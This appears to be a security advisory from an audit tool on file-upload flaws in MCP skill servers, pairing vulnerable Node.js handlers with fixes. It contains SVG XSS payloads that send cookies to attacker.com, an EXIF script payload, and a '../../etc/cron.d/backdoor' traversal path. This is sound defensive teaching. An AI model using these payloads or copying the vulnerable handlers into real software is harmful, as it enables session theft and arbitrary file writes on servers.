Claude skill file upload MIME type confusion and polyglot file attacks — SA-SKL-UPLOAD3
File upload handlers in MCP skills accept user-controlled files — the most direct vector for introducing attacker-controlled content into the server's filesystem. MIME type validation based on the Content-Type request header is completely attacker-controlled and provides zero security. SA-SKL-UPLOAD3 covers four upload attack patterns: Content-Type MIME confusion, polyglot JPEG/JS in EXIF metadata, SVG XSS via inline script execution, and ZIP slip path traversal in .tar.gz extraction.
UPLOAD3-001 — MIME type confusion: Content-Type header is attacker-controlled
The Content-Type header on a file upload request is set by the client. Any HTTP client (curl, Python requests, Burp Suite proxy) can set it to any value. An MCP skill that validates file type by checking req.file.mimetype (which is derived from the Content-Type header by multer and similar libraries) is performing no meaningful validation — an attacker uploads a Node.js script with Content-Type: image/jpeg and the check passes. Magic bytes detection reads the actual binary content of the uploaded file and identifies the real format based on the file signature (e.g. JPEG files start with FF D8 FF, PNG files with 89 50 4E 47). The file-type npm package provides reliable magic bytes detection for all common file formats.
// VULNERABLE — UPLOAD3-001: validating MIME type from header, not magic bytes
import multer from 'multer';
const upload = multer({ dest: '/tmp/uploads' });
app.post('/upload/skill-zip', upload.single('file'), async (req, res) => {
// req.file.mimetype comes from the Content-Type header — attacker-controlled
const allowedTypes = ['application/zip', 'application/x-zip-compressed'];
if (!allowedTypes.includes(req.file.mimetype)) {
return res.status(400).json({ error: 'Only ZIP files allowed' });
}
// Attacker sends: a .exe file with Content-Type: application/zip
// Check passes. The .exe is now stored on the server.
await processSkillZip(req.file.path);
res.json({ ok: true });
});
// FIXED — UPLOAD3-001: use magic bytes detection via file-type package
import multer from 'multer';
import { fileTypeFromFile } from 'file-type'; // npm install file-type
import { unlink } from 'fs/promises';
const upload = multer({
dest: '/tmp/uploads',
limits: { fileSize: 10 * 1024 * 1024 }, // 10MB max — always set file size limit
});
app.post('/upload/skill-zip', upload.single('file'), async (req, res) => {
try {
// Detect file type from actual bytes — not from Content-Type header
const fileType = await fileTypeFromFile(req.file.path);
if (!fileType || fileType.mime !== 'application/zip') {
await unlink(req.file.path); // Delete the rejected file immediately
return res.status(400).json({ error: 'Only ZIP files allowed (detected: ' + (fileType?.mime ?? 'unknown') + ')' });
}
// Store with a safe, generated filename — never use the original filename
const safeName = randomUUID() + '.zip';
await rename(req.file.path, path.join('/data/uploads', safeName));
await processSkillZip(path.join('/data/uploads', safeName));
res.json({ ok: true });
} catch (err) {
await unlink(req.file.path).catch(() => {});
res.status(500).json({ error: 'Upload failed' });
}
});
req.file.mimetype (derived from the Content-Type header) provide no security — attackers set any MIME type on any file content; fix by reading magic bytes from the uploaded file content using file-type npm package, and reject the file if the detected type does not match the allowed list. Detection: SkillAudit flags upload handlers where the only MIME type check is against req.file.mimetype without a subsequent magic-byte validation step.UPLOAD3-002 — Polyglot JPEG/JS file: valid image that contains executable JavaScript in EXIF
JPEG files include EXIF metadata headers that can contain arbitrary data. A carefully crafted file can be simultaneously a valid JPEG image that passes magic bytes detection (the file starts with FF D8 FF) and contains arbitrary JavaScript in its EXIF comment fields or in the image scan data after a valid SOI marker. If the skill serves uploaded images back to users (e.g. profile pictures, audit report attachments), and the serving CDN or server processes EXIF metadata, the malicious JavaScript payload embedded in the EXIF is reachable. Additionally, some image processing pipelines use the EXIF data to populate template fields — the EXIF comment becomes an injection vector for template injection if not sanitized. The fix is to strip all metadata and re-encode all uploaded images, normalizing them to a known-safe state regardless of what the original file contained.
// VULNERABLE — UPLOAD3-002: storing uploaded images without stripping EXIF metadata
app.post('/upload/avatar', upload.single('avatar'), async (req, res) => {
const fileType = await fileTypeFromFile(req.file.path);
if (!['image/jpeg', 'image/png', 'image/webp'].includes(fileType?.mime)) {
await unlink(req.file.path);
return res.status(400).json({ error: 'Invalid image type' });
}
// Magic bytes check passes — the file is a valid JPEG
// But the EXIF metadata contains: Comment: <script>fetch('/api/admin/delete-all')</script>
// The image is stored and later served to other users
// If any downstream processing reads and renders EXIF data, XSS is possible
await saveAvatar(req.user.id, req.file.path);
res.json({ ok: true });
});
// FIXED — UPLOAD3-002: strip EXIF and re-encode using sharp
import sharp from 'sharp'; // npm install sharp
import { randomUUID } from 'crypto';
app.post('/upload/avatar', upload.single('avatar'), async (req, res) => {
try {
const fileType = await fileTypeFromFile(req.file.path);
if (!['image/jpeg', 'image/png', 'image/webp'].includes(fileType?.mime)) {
await unlink(req.file.path);
return res.status(400).json({ error: 'Invalid image type' });
}
// Re-encode the image using sharp — this strips ALL metadata (EXIF, XMP, ICC, IPTC)
// and normalizes the pixel data, eliminating polyglot payload possibilities
const outputPath = path.join('/data/avatars', randomUUID() + '.webp');
await sharp(req.file.path)
.resize(256, 256, { fit: 'cover' }) // Normalize dimensions
.withMetadata(false) // Explicitly strip ALL metadata
.webp({ quality: 85 }) // Re-encode to known-clean WebP
.toFile(outputPath);
await unlink(req.file.path); // Delete the original upload
await db.users.updateAvatar(req.user.id, outputPath);
res.json({ ok: true });
} catch (err) {
await unlink(req.file.path).catch(() => {});
res.status(500).json({ error: 'Image processing failed' });
}
});
sharp resize + re-encode with .withMetadata(false), normalizing the image to a clean pixel buffer before storage. Detection: SkillAudit flags image upload handlers that do not call a sharp/jimp/imagemagick pipeline to re-encode the image before storing it.UPLOAD3-003 — SVG upload XSS via inline <script> tags and event handlers
SVG is an XML-based image format. When served with the correct MIME type (image/svg+xml), browsers render it as an HTML document capable of executing inline <script> tags, inline event handlers (onload, onclick), and href links with javascript: scheme. An attacker uploads an SVG containing <script>document.location='https://attacker.com/?c='+document.cookie</script> and the skill stores and serves it to other users. If the served SVG originates from the same origin as the application, the script has full access to the application's cookies and localStorage — bypassing httpOnly cookies (not reachable) but able to read session tokens stored in localStorage. The simplest fix for most skills is to reject SVG uploads entirely. If SVG is required, server-side sanitization with DOMPurify removes script-execution vectors while preserving the visual content.
// VULNERABLE — UPLOAD3-003: SVG upload without XSS sanitization
app.post('/upload/icon', upload.single('icon'), async (req, res) => {
const fileType = await fileTypeFromFile(req.file.path);
const allowed = ['image/jpeg', 'image/png', 'image/gif', 'image/svg+xml'];
if (!allowed.includes(fileType?.mime)) {
await unlink(req.file.path);
return res.status(400).json({ error: 'Invalid image type' });
}
// SVG passes magic bytes check (starts with <?xml or <svg)
// The SVG contains: <svg><script>fetch('https://attacker.com?c='+btoa(document.cookie))</script></svg>
// This SVG is now served from the same origin as the application
// Any user who views it triggers the cookie exfiltration
await saveIcon(req.user.id, req.file.path);
res.json({ ok: true });
});
// FIXED (Option A) — UPLOAD3-003: reject SVG uploads entirely
const allowedMimes = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
// SVG is NOT in the allowed list — simplest and safest approach if SVG is not required
// FIXED (Option B) — UPLOAD3-003: sanitize SVG with DOMPurify (server-side via jsdom)
import { JSDOM } from 'jsdom';
import DOMPurify from 'dompurify';
import { readFile, writeFile } from 'fs/promises';
async function sanitizeSVG(filePath) {
const svgContent = await readFile(filePath, 'utf8');
// Create a DOMPurify instance using jsdom's window (server-side DOM)
const { window } = new JSDOM('');
const purify = DOMPurify(window);
// Sanitize: removes script tags, event handlers, javascript: hrefs, data: URIs
const cleanSVG = purify.sanitize(svgContent, {
USE_PROFILES: { svg: true, svgFilters: true },
FORBID_TAGS: ['script', 'use'], // Also remove <use> (can reference external resources)
FORBID_ATTR: ['onload', 'onclick', 'onerror', 'href'], // Remove event handlers
});
if (!cleanSVG) throw new Error('SVG failed sanitization');
await writeFile(filePath, cleanSVG, 'utf8');
}
app.post('/upload/icon', upload.single('icon'), async (req, res) => {
try {
const fileType = await fileTypeFromFile(req.file.path);
if (fileType?.mime === 'image/svg+xml') {
await sanitizeSVG(req.file.path); // Sanitize in-place before storage
} else if (!allowedMimes.includes(fileType?.mime)) {
await unlink(req.file.path);
return res.status(400).json({ error: 'Invalid image type' });
}
// Safe to serve now — SVG has no executable content
await saveIcon(req.user.id, req.file.path);
res.json({ ok: true });
} catch {
await unlink(req.file.path).catch(() => {});
res.status(400).json({ error: 'Invalid image' });
}
});
<script> tags and event handlers that execute when the SVG is served with its native MIME type from the same origin as the application, enabling stored XSS; fix by either rejecting SVG uploads or sanitizing uploaded SVGs server-side with DOMPurify (using jsdom as the DOM context) before storage and serving. Detection: SkillAudit flags upload handlers where image/svg+xml is in the allowed MIME type list without a subsequent DOMPurify sanitization step.UPLOAD3-004 — ZIP slip via .tar.gz upload: path traversal writes outside extraction directory
MCP skills that accept uploaded skill packages or plugin archives often handle .tar.gz or .zip files. Archive formats allow entry paths that contain path traversal sequences — ../../etc/cron.d/backdoor is a valid entry name in a tar archive. Without per-entry path validation, a naive extraction with Node.js's tar or unzipper package will write files at the traversed path, outside the extraction directory. Depending on the server's filesystem permissions, this can overwrite cron jobs, SSH authorized keys, web server configuration files, or application source code — leading to privilege escalation or persistent backdoor installation.
// VULNERABLE — UPLOAD3-004: extracting tar.gz without path containment check
import tar from 'tar'; // npm install tar
app.post('/upload/plugin', upload.single('plugin'), async (req, res) => {
const extractDir = path.join('/tmp/plugins', randomUUID());
await mkdir(extractDir, { recursive: true });
// No path validation on entry names — ZIP slip possible
await tar.extract({ file: req.file.path, cwd: extractDir });
// If the archive contains: ../../etc/cron.d/backdoor
// tar writes to: /tmp/plugins/{id}/../../etc/cron.d/backdoor → /etc/cron.d/backdoor
// Arbitrary file write outside the extraction directory
await installPlugin(extractDir);
res.json({ ok: true });
});
// FIXED — UPLOAD3-004: validate every entry path before extraction
import tar from 'tar';
import path from 'path';
import { createReadStream } from 'fs';
async function safeExtract(archivePath, extractDir) {
const realExtractDir = await realpath(extractDir); // Resolve any symlinks in extractDir itself
// Use tar's filter function to validate each entry before extraction
await tar.extract({
file: archivePath,
cwd: extractDir,
filter: (entryPath) => {
// Resolve the full extraction path and check that it stays within extractDir
const fullPath = path.resolve(extractDir, entryPath);
// Check 1: fullPath must start with the extraction directory
if (!fullPath.startsWith(realExtractDir + path.sep) &&
fullPath !== realExtractDir) {
console.error('ZIP slip attempt blocked:', entryPath, '→', fullPath);
return false; // Skip this entry — do not extract
}
// Check 2: reject entries with null bytes (defense against null-byte path injection)
if (entryPath.includes('\0')) return false;
// Check 3: set a maximum path length to prevent filesystem issues
if (entryPath.length > 255) return false;
return true; // Safe to extract
},
// Also set a max total extraction size to prevent ZIP bomb
// (tar package does not have a built-in size limit — count bytes in filter)
});
}
app.post('/upload/plugin', upload.single('plugin'), async (req, res) => {
const fileType = await fileTypeFromFile(req.file.path);
if (fileType?.mime !== 'application/gzip') {
await unlink(req.file.path);
return res.status(400).json({ error: 'Only .tar.gz files accepted' });
}
const extractDir = path.join('/data/plugins', randomUUID());
await mkdir(extractDir, { recursive: true });
try {
await safeExtract(req.file.path, extractDir);
await installPlugin(extractDir);
res.json({ ok: true });
} catch (err) {
await rm(extractDir, { recursive: true }).catch(() => {});
res.status(400).json({ error: 'Invalid plugin archive' });
} finally {
await unlink(req.file.path).catch(() => {});
}
});
tar.extract, unzip) without per-entry path containment checks allows ZIP slip attacks where entry paths like ../../etc/cron.d/backdoor write files outside the extraction directory; fix by resolving each entry's full path and verifying it starts with the extraction directory's real path before extracting. Detection: SkillAudit flags tar.extract() and unzipper.Extract() calls without a filter or per-entry path containment check using path.resolve() + startsWith(extractDir).Detection summary
| ID | Severity | Pattern | Fix |
|---|---|---|---|
| UPLOAD3-001 | HIGH | MIME validation from Content-Type header — attacker sets any value; executable uploads pass |
Magic bytes detection via file-type package on stored file content |
| UPLOAD3-002 | HIGH | Images stored without EXIF strip — polyglot JPEG/JS payload survives magic bytes check | sharp resize + re-encode with .withMetadata(false) before storage |
| UPLOAD3-003 | HIGH | SVG uploads allowed without sanitization — inline <script> executes when served from same origin |
Reject SVG, or server-side sanitize with DOMPurify + jsdom before storage |
| UPLOAD3-004 | CRITICAL | Archive extraction without entry path containment — ../../ traversal writes outside extraction dir |
Per-entry path.resolve() + startsWith(extractDir) check in filter |
Related patterns: SA-SKL-ZIPSLIP covers ZIP slip in .zip archives specifically. SA-SKL-PATHTRAVERSAL2 covers double-encoded path traversal in URL parameters. SA-SKL-SSRF3 covers SSRF via uploaded URL references in skill package manifests.